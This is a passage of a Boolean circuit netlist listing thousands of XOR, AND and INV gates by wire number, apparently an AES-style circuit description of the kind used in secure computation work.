+2 1 31047 31048 31033 XOR +2 1 31067 31086 31046 AND +2 1 31046 31047 30984 XOR +2 1 31055 31087 31045 AND +2 1 31052 31085 31044 AND +2 1 31044 31033 31023 XOR +2 1 31044 31047 30999 XOR +1 1 30999 30996 INV +2 1 31044 31045 30995 XOR +2 1 31045 31023 30983 XOR +2 1 31056 31088 31043 AND +2 1 31053 31094 31042 AND +2 1 31060 31091 31041 AND +2 1 31063 31095 31040 AND +2 1 31040 31023 30989 XOR +1 1 30989 30986 INV +2 1 31054 31099 31039 AND +2 1 31039 31043 31015 XOR +2 1 31048 31039 31000 XOR +1 1 31015 30993 INV +2 1 31057 31092 31038 AND +2 1 31046 31038 31002 XOR +2 1 31067 31093 31037 AND +2 1 30993 31037 30992 XOR +2 1 30992 31030 30988 XOR +2 1 31055 31098 31036 AND +2 1 31036 30988 30991 XOR +2 1 31052 31100 31035 AND +2 1 31035 31036 31029 XOR +2 1 31041 31029 31011 XOR +2 1 31042 31011 31012 XOR +2 1 31050 31012 31016 XOR +2 1 31051 31016 31021 XOR +2 1 31033 31021 35797 XOR +2 1 31002 31029 30998 XOR +2 1 31030 30998 31001 XOR +2 1 31000 31001 31104 XOR +2 1 30993 30998 30997 XOR +2 1 30996 30997 31103 XOR +2 1 31021 30995 31102 XOR +2 1 31011 30988 30987 XOR +2 1 30986 30987 35795 XOR +2 1 35795 35810 8943 XOR +1 1 8943 8804 INV +2 1 31049 31016 30985 XOR +2 1 30984 30985 35796 XOR +2 1 8955 8804 8801 XOR +2 1 31012 30983 35798 XOR +2 1 35798 35814 8908 XOR +1 1 8908 8803 INV +2 1 8803 32809 8832 XOR +2 1 8948 35797 8769 XOR +1 1 8769 8767 INV +2 1 31056 31097 31034 AND +2 1 31045 31034 30994 XOR +1 1 30994 30990 INV +2 1 30990 30991 31101 XOR +2 1 33955 33957 31704 XOR +2 1 31704 31800 31785 XOR +2 1 33954 33957 31798 XOR +2 1 31798 31720 31794 XOR +2 1 31703 31798 31790 XOR +2 1 33950 31790 31789 XOR +2 1 33957 33951 31799 XOR +2 1 33957 33952 31797 XOR +2 1 31790 31794 31783 AND +2 1 31799 31784 31780 AND +2 1 31780 31704 31708 XOR +2 1 31800 31785 31776 AND +2 1 8908 35796 8646 XOR +2 1 7942 8168 7940 XOR +2 1 8147 8145 7994 XOR +2 1 32868 7994 35528 XOR +2 1 35528 705 33956 XOR +2 1 33956 31705 31787 XOR +2 1 33954 33956 31706 XOR +2 1 31783 31706 31709 XOR +2 1 33950 33956 31710 XOR +2 1 31710 31705 31786 XOR +2 1 31704 31710 31793 XOR +2 1 31720 31793 31791 XOR +2 1 33955 31710 31796 XOR +2 1 33951 31796 31792 XOR +2 1 31706 31704 31666 XOR +2 1 31703 31666 31788 XOR +2 1 31706 33955 31665 XOR +2 1 33950 31665 31795 XOR +2 1 31791 31789 31782 AND +2 1 31776 31782 31727 XOR +2 1 31795 33950 31781 AND +2 1 31796 31792 31779 AND +2 1 31793 31786 31778 AND +2 1 31798 31787 31777 AND +2 1 31777 31705 31707 XOR +2 1 31709 31707 31713 XOR +2 1 33957 31713 31718 XOR +2 1 31727 31718 31774 XOR +2 1 31776 31777 31679 XOR +2 1 31679 31680 31726 XOR +2 1 31726 31708 31725 XOR +2 1 31779 31725 31773 XOR +2 1 31797 31788 31775 AND +2 1 31775 31778 31728 XOR +2 1 31775 31781 31732 XOR +2 1 31732 31704 31719 XOR +2 1 31727 31719 31771 XOR +2 1 31776 31728 31722 XOR +2 1 31708 31728 31682 XOR +2 1 31682 31707 31772 XOR +2 1 31713 31732 31681 XOR +2 1 33955 31681 31724 XOR +2 1 31779 31722 31678 XOR +2 1 33951 31678 31766 XOR +2 1 31774 31773 31770 AND +2 1 31770 31724 31765 XOR +2 1 31770 31772 31769 XOR +2 1 31771 31769 31768 AND +2 1 31768 31724 31767 XOR +2 1 31768 31780 31673 XOR +2 1 31673 31709 31669 XOR +2 1 33957 31669 31672 XOR +2 1 31768 31718 31670 XOR +2 1 33955 31669 31668 XOR +2 1 31765 31766 31764 AND +2 1 31764 31772 31763 XOR +2 1 31770 31764 31762 XOR +2 1 31764 31722 31677 XOR +2 1 31764 31781 31676 XOR +2 1 31676 31778 31671 XOR +2 1 31671 31672 31755 XOR +2 1 31772 31762 31761 AND +2 1 31761 31769 31759 XOR +2 1 31761 31779 31731 XOR +2 1 31731 31725 31753 XOR +2 1 33951 31731 31714 XOR +2 1 31714 31677 31760 XOR +2 1 31767 31759 31758 AND +2 1 31758 31727 31717 XOR +2 1 31717 31719 31757 XOR +2 1 31758 31782 31675 XOR +2 1 31714 31675 31667 XOR +2 1 31704 31667 31674 XOR +2 1 31671 31674 31756 XOR +2 1 31717 31670 31754 XOR +2 1 31667 31668 31752 XOR +2 1 31753 31790 31751 AND +2 1 31760 31789 31750 AND +2 1 31763 33950 31749 AND +2 1 31749 31751 31730 XOR +2 1 31754 31784 31748 AND +2 1 31757 31796 31747 AND +2 1 31747 31748 31733 XOR +2 1 31767 31786 31746 AND +2 1 31746 31747 31684 XOR +2 1 31755 31787 31745 AND +2 1 31752 31785 31744 AND +2 1 31744 31733 31723 XOR +2 1 31744 31747 31699 XOR +1 1 31699 31696 INV +2 1 31744 31745 31695 XOR +2 1 31745 31723 31683 XOR +2 1 31756 31788 31743 AND +2 1 31753 31794 31742 AND +2 1 31760 31791 31741 AND +2 1 31763 31795 31740 AND +2 1 31740 31723 31689 XOR +1 1 31689 31686 INV +2 1 31754 31799 31739 AND +2 1 31739 31743 31715 XOR +2 1 31748 31739 31700 XOR +1 1 31715 31693 INV +2 1 31757 31792 31738 AND +2 1 31746 31738 31702 XOR +2 1 31767 31793 31737 AND +2 1 31693 31737 31692 XOR +2 1 31692 31730 31688 XOR +2 1 31755 31798 31736 AND +2 1 31736 31688 31691 XOR +2 1 31752 31800 31735 AND +2 1 31735 31736 31729 XOR +2 1 31741 31729 31711 XOR +2 1 31742 31711 31712 XOR +2 1 31750 31712 31716 XOR +2 1 31751 31716 31721 XOR +2 1 31733 31721 35830 XOR +2 1 31702 31729 31698 XOR +2 1 31730 31698 31701 XOR +2 1 31700 31701 31804 XOR +2 1 31693 31698 31697 XOR +2 1 31696 31697 31803 XOR +2 1 31721 31695 31802 XOR +2 1 31711 31688 31687 XOR +2 1 31686 31687 35828 XOR +2 1 31749 31716 31685 XOR +2 1 31684 31685 35829 XOR +2 1 31712 31683 35831 XOR +2 1 31756 31797 31734 AND +2 1 31745 31734 31694 XOR +1 1 31694 31690 INV +2 1 31690 31691 31801 XOR +2 1 35552 681 33980 XOR +2 1 33978 33980 30726 XOR +2 1 30726 33979 30685 XOR +1 1 22991 33022 INV +2 1 32801 33022 8194 XOR +2 1 8194 8128 7951 XOR +2 1 32866 7951 35554 XOR +2 1 35554 679 33982 XOR +2 1 33022 7991 35530 XOR +2 1 8194 8135 7962 XOR +2 1 33106 7962 35546 XOR +2 1 35530 703 33958 XOR +2 1 33958 24233 24232 XOR +2 1 33958 33964 24153 XOR +2 1 24153 24148 24229 XOR +2 1 24147 24153 24236 XOR +2 1 24163 24236 24234 XOR +2 1 33963 24153 24239 XOR +2 1 33959 24239 24235 XOR +2 1 33958 24108 24238 XOR +2 1 24234 24232 24225 AND +2 1 24219 24225 24170 XOR +2 1 24170 24161 24217 XOR +2 1 24238 33958 24224 AND +2 1 24218 24224 24175 XOR +2 1 24175 24147 24162 XOR +2 1 24170 24162 24214 XOR +2 1 24156 24175 24124 XOR +2 1 33963 24124 24167 XOR +2 1 24239 24235 24222 AND +2 1 24222 24168 24216 XOR +2 1 24236 24229 24221 AND +2 1 24218 24221 24171 XOR +2 1 24219 24171 24165 XOR +2 1 24151 24171 24125 XOR +2 1 24125 24150 24215 XOR +2 1 24222 24165 24121 XOR +2 1 33959 24121 24209 XOR +2 1 24217 24216 24213 AND +2 1 24213 24167 24208 XOR +2 1 24213 24215 24212 XOR +2 1 24214 24212 24211 AND +2 1 24211 24167 24210 XOR +2 1 24211 24223 24116 XOR +2 1 24116 24152 24112 XOR +2 1 33965 24112 24115 XOR +2 1 24211 24161 24113 XOR +2 1 33963 24112 24111 XOR +2 1 24208 24209 24207 AND +2 1 24207 24215 24206 XOR +2 1 24213 24207 24205 XOR +2 1 24207 24165 24120 XOR +2 1 24207 24224 24119 XOR +2 1 24119 24221 24114 XOR +2 1 24114 24115 24198 XOR +2 1 24215 24205 24204 AND +2 1 24204 24212 24202 XOR +2 1 24204 24222 24174 XOR +2 1 24174 24168 24196 XOR +2 1 33959 24174 24157 XOR +2 1 24157 24120 24203 XOR +2 1 24210 24202 24201 AND +2 1 24201 24170 24160 XOR +2 1 24160 24162 24200 XOR +2 1 24201 24225 24118 XOR +2 1 24157 24118 24110 XOR +2 1 24147 24110 24117 XOR +2 1 24114 24117 24199 XOR +2 1 24160 24113 24197 XOR +2 1 24110 24111 24195 XOR +2 1 24196 24233 24194 AND +2 1 24203 24232 24193 AND +2 1 24206 33958 24192 AND +2 1 24192 24194 24173 XOR +2 1 24197 24227 24191 AND +2 1 24200 24239 24190 AND +2 1 24190 24191 24176 XOR +2 1 24210 24229 24189 AND +2 1 24189 24190 24127 XOR +2 1 24198 24230 24188 AND +2 1 24195 24228 24187 AND +2 1 24187 24176 24166 XOR +2 1 24187 24190 24142 XOR +1 1 24142 24139 INV +2 1 24187 24188 24138 XOR +2 1 24188 24166 24126 XOR +2 1 24199 24231 24186 AND +2 1 24196 24237 24185 AND +2 1 24203 24234 24184 AND +2 1 24206 24238 24183 AND +2 1 24183 24166 24132 XOR +1 1 24132 24129 INV +2 1 24197 24242 24182 AND +2 1 24182 24186 24158 XOR +2 1 24191 24182 24143 XOR +1 1 24158 24136 INV +2 1 24200 24235 24181 AND +2 1 24189 24181 24145 XOR +2 1 24210 24236 24180 AND +2 1 24136 24180 24135 XOR +2 1 24135 24173 24131 XOR +2 1 24198 24241 24179 AND +2 1 24179 24131 24134 XOR +2 1 24195 24243 24178 AND +2 1 24178 24179 24172 XOR +2 1 24184 24172 24154 XOR +2 1 24185 24154 24155 XOR +2 1 24193 24155 24159 XOR +2 1 24194 24159 24164 XOR +2 1 24176 24164 35817 XOR +2 1 24145 24172 24141 XOR +2 1 24173 24141 24144 XOR +2 1 24143 24144 24247 XOR +2 1 24136 24141 24140 XOR +2 1 24139 24140 24246 XOR +2 1 24164 24138 24245 XOR +2 1 24154 24131 24130 XOR +2 1 24129 24130 35815 XOR +2 1 24192 24159 24128 XOR +2 1 24127 24128 35816 XOR +2 1 24155 24126 35818 XOR +2 1 24199 24240 24177 AND +2 1 24188 24177 24137 XOR +1 1 24137 24133 INV +2 1 24133 24134 24244 XOR +2 1 35818 35831 8907 XOR +1 1 8907 8650 INV +2 1 35546 687 33974 XOR +2 1 33974 33980 30730 XOR +2 1 33979 30730 30816 XOR +2 1 33974 30685 30815 XOR +2 1 30815 33974 30801 AND +2 1 33982 33988 31570 XOR +2 1 31564 31570 31653 XOR +2 1 33987 31570 31656 XOR +2 1 8650 35828 8651 XOR +2 1 8907 35829 8654 XOR +2 1 8194 8182 7974 XOR +2 1 32866 33022 7910 XOR +2 1 7909 7910 8207 XOR +2 1 8207 8193 35547 XOR +2 1 35547 686 33975 XOR +2 1 33975 33977 30723 XOR +2 1 33976 30723 30725 XOR +2 1 33980 30725 30807 XOR +2 1 33979 30725 30804 XOR +2 1 30730 30725 30806 XOR +2 1 33975 30816 30812 XOR +2 1 33975 33976 30740 XOR +2 1 30816 30812 30799 AND +1 1 24245 33045 INV +2 1 35818 33045 8787 XOR +1 1 24246 33046 INV +1 1 24247 33047 INV +1 1 24244 33052 INV +1 1 30963 33189 INV +1 1 30964 33190 INV +1 1 31103 33193 INV +2 1 33193 33177 8691 XOR +2 1 8690 8691 8969 XOR +2 1 33193 8694 8875 XOR +2 1 33193 32809 8963 XOR +1 1 31104 33194 INV +2 1 30543 33194 8686 XOR +2 1 33194 32810 8964 XOR +1 1 30961 33195 INV +1 1 30962 33196 INV +1 1 31101 33199 INV +2 1 8945 33199 8750 XOR +1 1 31102 33200 INV +2 1 8695 33200 8730 XOR +1 1 31803 33213 INV +1 1 31804 33214 INV +2 1 8650 33214 8648 XOR +1 1 31801 33219 INV +2 1 33219 33052 8807 XOR +1 1 31802 33220 INV +2 1 33045 33220 8916 XOR +1 1 8131 33232 INV +2 1 33232 35632 7971 XOR +2 1 33232 35649 7952 XOR +2 1 7952 7953 35553 XOR +2 1 33232 32800 7975 XOR +2 1 35553 680 33981 XOR +2 1 33979 33981 30724 XOR +2 1 30724 30820 30805 XOR +2 1 33978 33981 30818 XOR +2 1 30818 30740 30814 XOR +2 1 30724 30730 30813 XOR +2 1 30740 30813 30811 XOR +2 1 30723 30818 30810 XOR +2 1 33974 30810 30809 XOR +2 1 30726 30724 30686 XOR +2 1 30723 30686 30808 XOR +2 1 33981 33975 30819 XOR +2 1 33981 33976 30817 XOR +2 1 30810 30814 30803 AND +2 1 30803 30726 30729 XOR +2 1 30811 30809 30802 AND +2 1 30819 30804 30800 AND +2 1 30800 30724 30728 XOR +2 1 30813 30806 30798 AND +2 1 30818 30807 30797 AND +2 1 30797 30725 30727 XOR +2 1 30729 30727 30733 XOR +2 1 33981 30733 30738 XOR +2 1 30820 30805 30796 AND +2 1 30796 30802 30747 XOR +2 1 30747 30738 30794 XOR +2 1 30796 30797 30699 XOR +2 1 30699 30700 30746 XOR +2 1 30746 30728 30745 XOR +2 1 30799 30745 30793 XOR +2 1 30817 30808 30795 AND +2 1 30795 30798 30748 XOR +2 1 30795 30801 30752 XOR +2 1 30752 30724 30739 XOR +2 1 30747 30739 30791 XOR +2 1 30796 30748 30742 XOR +2 1 30728 30748 30702 XOR +2 1 30702 30727 30792 XOR +2 1 30733 30752 30701 XOR +2 1 33979 30701 30744 XOR +2 1 30799 30742 30698 XOR +2 1 33975 30698 30786 XOR +2 1 30794 30793 30790 AND +2 1 30790 30744 30785 XOR +2 1 30790 30792 30789 XOR +2 1 30791 30789 30788 AND +2 1 30788 30744 30787 XOR +2 1 30788 30800 30693 XOR +2 1 30693 30729 30689 XOR +2 1 33981 30689 30692 XOR +2 1 30788 30738 30690 XOR +2 1 33979 30689 30688 XOR +2 1 30785 30786 30784 AND +2 1 30784 30792 30783 XOR +2 1 30790 30784 30782 XOR +2 1 30784 30742 30697 XOR +2 1 30784 30801 30696 XOR +2 1 30696 30798 30691 XOR +2 1 30691 30692 30775 XOR +2 1 30792 30782 30781 AND +2 1 30781 30789 30779 XOR +2 1 30781 30799 30751 XOR +2 1 30751 30745 30773 XOR +2 1 33975 30751 30734 XOR +2 1 30734 30697 30780 XOR +2 1 30787 30779 30778 AND +2 1 30778 30747 30737 XOR +2 1 30737 30739 30777 XOR +2 1 30778 30802 30695 XOR +2 1 30734 30695 30687 XOR +2 1 30724 30687 30694 XOR +2 1 30691 30694 30776 XOR +2 1 30737 30690 30774 XOR +2 1 30687 30688 30772 XOR +2 1 30773 30810 30771 AND +2 1 30780 30809 30770 AND +2 1 30783 33974 30769 AND +2 1 30769 30771 30750 XOR +2 1 30774 30804 30768 AND +2 1 30777 30816 30767 AND +2 1 30767 30768 30753 XOR +2 1 30787 30806 30766 AND +2 1 30766 30767 30704 XOR +2 1 30775 30807 30765 AND +2 1 30772 30805 30764 AND +2 1 30764 30753 30743 XOR +2 1 30764 30767 30719 XOR +1 1 30719 30716 INV +2 1 30764 30765 30715 XOR +2 1 30765 30743 30703 XOR +2 1 30776 30808 30763 AND +2 1 30773 30814 30762 AND +2 1 30780 30811 30761 AND +2 1 30783 30815 30760 AND +2 1 30760 30743 30709 XOR +1 1 30709 30706 INV +2 1 30774 30819 30759 AND +2 1 30759 30763 30735 XOR +2 1 30768 30759 30720 XOR +1 1 30735 30713 INV +2 1 30777 30812 30758 AND +2 1 30766 30758 30722 XOR +2 1 30787 30813 30757 AND +2 1 30713 30757 30712 XOR +2 1 30712 30750 30708 XOR +2 1 30775 30818 30756 AND +2 1 30756 30708 30711 XOR +2 1 30772 30820 30755 AND +2 1 30755 30756 30749 XOR +2 1 30761 30749 30731 XOR +2 1 30762 30731 30732 XOR +2 1 30770 30732 30736 XOR +2 1 30771 30736 30741 XOR +2 1 30753 30741 35862 XOR +2 1 8929 35862 8863 XOR +2 1 35862 35866 8911 XOR +2 1 8920 8911 8891 XOR +2 1 30722 30749 30718 XOR +2 1 30750 30718 30721 XOR +2 1 30720 30721 30824 XOR +2 1 30713 30718 30717 XOR +2 1 30716 30717 30823 XOR +2 1 30741 30715 30822 XOR +2 1 30731 30708 30707 XOR +2 1 30706 30707 35860 XOR +2 1 30769 30736 30705 XOR +2 1 30704 30705 35861 XOR +2 1 35862 35861 8700 XOR +2 1 30732 30703 35863 XOR +2 1 30776 30817 30754 AND +2 1 30765 30754 30714 XOR +1 1 30714 30710 INV +2 1 30710 30711 30821 XOR +2 1 35863 35867 8894 XOR +2 1 8894 35865 8699 XOR +2 1 8699 8700 8966 XOR +2 1 35860 35864 8912 XOR +2 1 8912 32807 8701 XOR +1 1 8894 8854 INV +2 1 8854 35852 8853 XOR +2 1 8854 33212 8885 XOR +2 1 7974 7975 7973 XOR +1 1 7973 35539 INV +2 1 35539 694 33967 XOR +2 1 33967 28856 28852 XOR +2 1 33967 33968 28780 XOR +2 1 28780 28853 28851 XOR +2 1 33973 33967 28859 XOR +2 1 28856 28852 28839 AND +2 1 7970 7971 35541 XOR +2 1 35541 692 33969 XOR +2 1 33967 33969 28763 XOR +2 1 33968 28763 28765 XOR +2 1 33972 28765 28847 XOR +2 1 33971 28765 28844 XOR +2 1 28770 28765 28846 XOR +2 1 33969 33968 28740 XOR +2 1 28859 28844 28840 AND +2 1 28840 28764 28768 XOR +2 1 28853 28846 28838 AND +2 1 33232 35633 7969 XOR +2 1 7968 7969 35542 XOR +2 1 35542 691 33970 XOR +2 1 33970 33972 28766 XOR +2 1 33970 33973 28858 XOR +2 1 28858 28780 28854 XOR +2 1 28763 28858 28850 XOR +2 1 33966 28850 28849 XOR +2 1 33968 33970 28860 XOR +2 1 28764 28860 28845 XOR +2 1 28766 28764 28726 XOR +2 1 28763 28726 28848 XOR +2 1 28766 33971 28725 XOR +2 1 33966 28725 28855 XOR +2 1 28850 28854 28843 AND +2 1 28843 28766 28769 XOR +2 1 28851 28849 28842 AND +2 1 28855 33966 28841 AND +2 1 28858 28847 28837 AND +2 1 28837 28765 28767 XOR +2 1 28769 28767 28773 XOR +2 1 33973 28773 28778 XOR +2 1 28860 28845 28836 AND +2 1 28836 28842 28787 XOR +2 1 28787 28778 28834 XOR +2 1 28836 28837 28739 XOR +2 1 28739 28740 28786 XOR +2 1 28786 28768 28785 XOR +2 1 28839 28785 28833 XOR +2 1 28857 28848 28835 AND +2 1 28835 28838 28788 XOR +2 1 28835 28841 28792 XOR +2 1 28792 28764 28779 XOR +2 1 28787 28779 28831 XOR +2 1 28836 28788 28782 XOR +2 1 28768 28788 28742 XOR +2 1 28742 28767 28832 XOR +2 1 28773 28792 28741 XOR +2 1 33971 28741 28784 XOR +2 1 28839 28782 28738 XOR +2 1 33967 28738 28826 XOR +2 1 28834 28833 28830 AND +2 1 28830 28784 28825 XOR +2 1 28830 28832 28829 XOR +2 1 28831 28829 28828 AND +2 1 28828 28784 28827 XOR +2 1 28828 28840 28733 XOR +2 1 28733 28769 28729 XOR +2 1 33973 28729 28732 XOR +2 1 28828 28778 28730 XOR +2 1 33971 28729 28728 XOR +2 1 28825 28826 28824 AND +2 1 28824 28832 28823 XOR +2 1 28830 28824 28822 XOR +2 1 28824 28782 28737 XOR +2 1 28824 28841 28736 XOR +2 1 28736 28838 28731 XOR +2 1 28731 28732 28815 XOR +2 1 28832 28822 28821 AND +2 1 28821 28829 28819 XOR +2 1 28821 28839 28791 XOR +2 1 28791 28785 28813 XOR +2 1 33967 28791 28774 XOR +2 1 28774 28737 28820 XOR +2 1 28827 28819 28818 AND +2 1 28818 28787 28777 XOR +2 1 28777 28779 28817 XOR +2 1 28818 28842 28735 XOR +2 1 28774 28735 28727 XOR +2 1 28764 28727 28734 XOR +2 1 28731 28734 28816 XOR +2 1 28777 28730 28814 XOR +2 1 28727 28728 28812 XOR +2 1 28813 28850 28811 AND +2 1 28820 28849 28810 AND +2 1 28823 33966 28809 AND +2 1 28809 28811 28790 XOR +2 1 28814 28844 28808 AND +2 1 28817 28856 28807 AND +2 1 28807 28808 28793 XOR +2 1 28827 28846 28806 AND +2 1 28806 28807 28744 XOR +2 1 28815 28847 28805 AND +2 1 28812 28845 28804 AND +2 1 28804 28793 28783 XOR +2 1 28804 28807 28759 XOR +1 1 28759 28756 INV +2 1 28804 28805 28755 XOR +2 1 28805 28783 28743 XOR +2 1 28816 28848 28803 AND +2 1 28813 28854 28802 AND +2 1 28820 28851 28801 AND +2 1 28823 28855 28800 AND +2 1 28800 28783 28749 XOR +1 1 28749 28746 INV +2 1 28814 28859 28799 AND +2 1 28799 28803 28775 XOR +2 1 28808 28799 28760 XOR +1 1 28775 28753 INV +2 1 28817 28852 28798 AND +2 1 28806 28798 28762 XOR +2 1 28827 28853 28797 AND +2 1 28753 28797 28752 XOR +2 1 28752 28790 28748 XOR +2 1 28815 28858 28796 AND +2 1 28796 28748 28751 XOR +2 1 28812 28860 28795 AND +2 1 28795 28796 28789 XOR +2 1 28801 28789 28771 XOR +2 1 28802 28771 28772 XOR +2 1 28810 28772 28776 XOR +2 1 28811 28776 28781 XOR +2 1 28793 28781 35801 XOR +2 1 35797 35801 8956 XOR +2 1 8956 8948 8843 XOR +2 1 33199 8843 35680 XOR +2 1 35680 626 34035 XOR +2 1 28762 28789 28758 XOR +2 1 28790 28758 28761 XOR +2 1 28760 28761 28864 XOR +2 1 28753 28758 28757 XOR +2 1 28756 28757 28863 XOR +2 1 28781 28755 28862 XOR +2 1 32813 28862 8751 XOR +2 1 8750 8751 8749 XOR +1 1 8749 35673 INV +2 1 35673 633 34028 XOR +2 1 28771 28748 28747 XOR +2 1 28746 28747 35799 XOR +2 1 35795 35799 8689 XOR +2 1 35799 35806 8940 XOR +2 1 28809 28776 28745 XOR +2 1 28744 28745 35800 XOR +2 1 35796 35800 8965 XOR +2 1 35807 35800 8684 XOR +1 1 8965 8846 INV +2 1 8846 8952 8844 XOR +2 1 8968 8965 35694 XOR +2 1 35694 612 34049 XOR +2 1 28772 28743 35804 XOR +2 1 35798 35804 8901 XOR +2 1 8639 35804 8731 XOR +2 1 8730 8731 35674 XOR +2 1 35674 632 34029 XOR +2 1 8901 35796 8688 XOR +2 1 8964 8901 8714 XOR +2 1 33177 8714 35675 XOR +2 1 35675 631 34030 XOR +2 1 8688 8689 8970 XOR +1 1 8901 8687 INV +2 1 8687 35797 8845 XOR +2 1 35804 35809 8902 XOR +2 1 8902 35812 8683 XOR +2 1 8683 8684 8972 XOR +2 1 8972 8956 35687 XOR +2 1 35687 619 34042 XOR +2 1 8970 8955 35678 XOR +2 1 35678 628 34033 XOR +2 1 28816 28857 28794 AND +2 1 28805 28794 28754 XOR +1 1 28754 28750 INV +2 1 28750 28751 28861 XOR +1 1 28862 35803 INV +2 1 33200 35803 8951 XOR +2 1 8951 8900 8841 XOR +1 1 28861 35802 INV +2 1 33199 35802 8953 XOR +2 1 8953 8945 8842 XOR +2 1 33200 8842 35681 XOR +2 1 35681 625 34036 XOR +2 1 34030 34036 28490 XOR +2 1 34035 28490 28576 XOR +2 1 8953 8952 8816 XOR +2 1 33183 8816 35696 XOR +2 1 35696 610 34051 XOR +1 1 8902 8835 INV +2 1 8835 35811 8834 XOR +2 1 8963 8940 8815 XOR +2 1 35812 28861 8768 XOR +2 1 8767 8768 35672 XOR +2 1 35672 634 34027 XOR +2 1 34027 34029 24007 XOR +2 1 8951 8948 8814 XOR +2 1 33184 28862 8825 XOR +2 1 33184 8814 35697 XOR +2 1 35697 609 34052 XOR +1 1 8940 8822 INV +2 1 8822 35795 8820 XOR +2 1 35798 8841 35682 XOR +2 1 35682 624 34037 XOR +2 1 34035 34037 28484 XOR +2 1 28484 28490 28573 XOR +2 1 8951 8639 8826 XOR +2 1 33183 28861 8827 XOR +2 1 8965 8822 8833 XOR +2 1 8820 8821 35693 XOR +2 1 35693 613 34048 XOR +2 1 34049 34048 26920 XOR +2 1 8945 8901 8813 XOR +2 1 35809 8813 35698 XOR +2 1 35698 608 34053 XOR +2 1 34051 34053 26944 XOR +2 1 34053 34048 27037 XOR +2 1 8964 8902 8840 XOR +2 1 8687 35814 8824 XOR +2 1 8824 8825 35690 XOR +2 1 35690 616 34045 XOR +2 1 34042 34045 30398 XOR +2 1 35810 8815 35669 XOR +2 1 35669 637 34024 XOR +2 1 34029 34024 24100 XOR +2 1 8956 8955 8819 XOR +2 1 8833 8834 35686 XOR +2 1 35686 620 34041 XOR +1 1 8819 8817 INV +2 1 8803 35800 8802 XOR +2 1 8801 8802 35670 XOR +2 1 35670 636 34025 XOR +2 1 34025 34024 23983 XOR +2 1 8953 32813 8828 XOR +2 1 35808 35801 8829 XOR +2 1 8828 8829 35688 XOR +2 1 35688 618 34043 XOR +2 1 34043 34045 30304 XOR +2 1 8826 8827 35689 XOR +2 1 35689 617 34044 XOR +2 1 34042 34044 30306 XOR +2 1 30306 30304 30266 XOR +2 1 30306 34043 30265 XOR +2 1 8817 8818 35695 XOR +2 1 35695 611 34050 XOR +2 1 34050 34052 26946 XOR +2 1 34050 34053 27038 XOR +2 1 34048 34050 27040 XOR +2 1 26944 27040 27025 XOR +2 1 26946 26944 26906 XOR +2 1 26946 34051 26905 XOR +2 1 27040 27025 27016 AND +2 1 8844 8845 35679 XOR +2 1 35679 627 34034 XOR +2 1 34034 34036 28486 XOR +2 1 34034 34037 28578 XOR +2 1 28486 28484 28446 XOR +2 1 28486 34035 28445 XOR +2 1 34030 28445 28575 XOR +2 1 28575 34030 28561 AND +2 1 35811 35801 8647 XOR +2 1 8646 8647 8987 XOR +2 1 8987 8952 35671 XOR +2 1 35671 635 34026 XOR +2 1 34026 34028 24009 XOR +2 1 34026 34029 24101 XOR +2 1 34024 34026 24103 XOR +2 1 24007 24103 24088 XOR +2 1 24009 24007 23969 XOR +2 1 24009 34027 23968 XOR +2 1 24103 24088 24079 AND +1 1 28864 33133 INV +2 1 8687 33133 8685 XOR +2 1 8685 8686 8971 XOR +2 1 33133 33177 8941 XOR +2 1 8941 8908 8893 XOR +2 1 32810 8893 35667 XOR +2 1 35667 639 34022 XOR +2 1 34022 34028 24013 XOR +2 1 24007 24013 24096 XOR +2 1 34027 24013 24099 XOR +2 1 34022 23968 24098 XOR +2 1 24098 34022 24084 AND +2 1 8971 8963 35676 XOR +2 1 35676 630 34031 XOR +2 1 34031 34033 28483 XOR +2 1 34031 28576 28572 XOR +2 1 28483 28578 28570 XOR +2 1 34030 28570 28569 XOR +2 1 28483 28446 28568 XOR +2 1 34037 34031 28579 XOR +2 1 28576 28572 28559 AND +2 1 33133 8840 35683 XOR +2 1 35683 623 34038 XOR +2 1 34038 34044 30310 XOR +2 1 30304 30310 30393 XOR +2 1 34043 30310 30396 XOR +2 1 34038 30265 30395 XOR +2 1 30395 34038 30381 AND +2 1 8963 8941 8838 XOR +2 1 8941 8900 8823 XOR +2 1 33194 8823 35691 XOR +2 1 35691 615 34046 XOR +2 1 34046 34052 26950 XOR +2 1 26944 26950 27033 XOR +2 1 34051 26950 27036 XOR +2 1 34046 26905 27035 XOR +2 1 27035 34046 27021 AND +1 1 28863 33140 INV +2 1 8804 33140 8874 XOR +2 1 33140 35805 8942 XOR +2 1 8969 8942 35692 XOR +2 1 35692 614 34047 XOR +2 1 34047 34049 26943 XOR +2 1 34048 26943 26945 XOR +2 1 34052 26945 27027 XOR +2 1 34051 26945 27024 XOR +2 1 26950 26945 27026 XOR +2 1 34047 27036 27032 XOR +2 1 26943 27038 27030 XOR +2 1 34046 27030 27029 XOR +2 1 34047 34048 26960 XOR +2 1 26960 27033 27031 XOR +2 1 27038 26960 27034 XOR +2 1 26943 26906 27028 XOR +2 1 34053 34047 27039 XOR +2 1 27030 27034 27023 AND +2 1 27023 26946 26949 XOR +2 1 27031 27029 27022 AND +2 1 27016 27022 26967 XOR +2 1 27039 27024 27020 AND +2 1 27020 26944 26948 XOR +2 1 27036 27032 27019 AND +2 1 27033 27026 27018 AND +2 1 27038 27027 27017 AND +2 1 27017 26945 26947 XOR +2 1 26949 26947 26953 XOR +2 1 34053 26953 26958 XOR +2 1 26967 26958 27014 XOR +2 1 27016 27017 26919 XOR +2 1 26919 26920 26966 XOR +2 1 26966 26948 26965 XOR +2 1 27019 26965 27013 XOR +2 1 27037 27028 27015 AND +2 1 27015 27018 26968 XOR +2 1 27015 27021 26972 XOR +2 1 26972 26944 26959 XOR +2 1 26967 26959 27011 XOR +2 1 27016 26968 26962 XOR +2 1 26948 26968 26922 XOR +2 1 26922 26947 27012 XOR +2 1 26953 26972 26921 XOR +2 1 34051 26921 26964 XOR +2 1 27019 26962 26918 XOR +2 1 34047 26918 27006 XOR +2 1 27014 27013 27010 AND +2 1 27010 26964 27005 XOR +2 1 27010 27012 27009 XOR +2 1 27011 27009 27008 AND +2 1 27008 26964 27007 XOR +2 1 27008 27020 26913 XOR +2 1 26913 26949 26909 XOR +2 1 34053 26909 26912 XOR +2 1 27008 26958 26910 XOR +2 1 34051 26909 26908 XOR +2 1 27005 27006 27004 AND +2 1 27004 27012 27003 XOR +2 1 27010 27004 27002 XOR +2 1 27004 26962 26917 XOR +2 1 27004 27021 26916 XOR +2 1 26916 27018 26911 XOR +2 1 26911 26912 26995 XOR +2 1 27012 27002 27001 AND +2 1 27001 27009 26999 XOR +2 1 27001 27019 26971 XOR +2 1 26971 26965 26993 XOR +2 1 34047 26971 26954 XOR +2 1 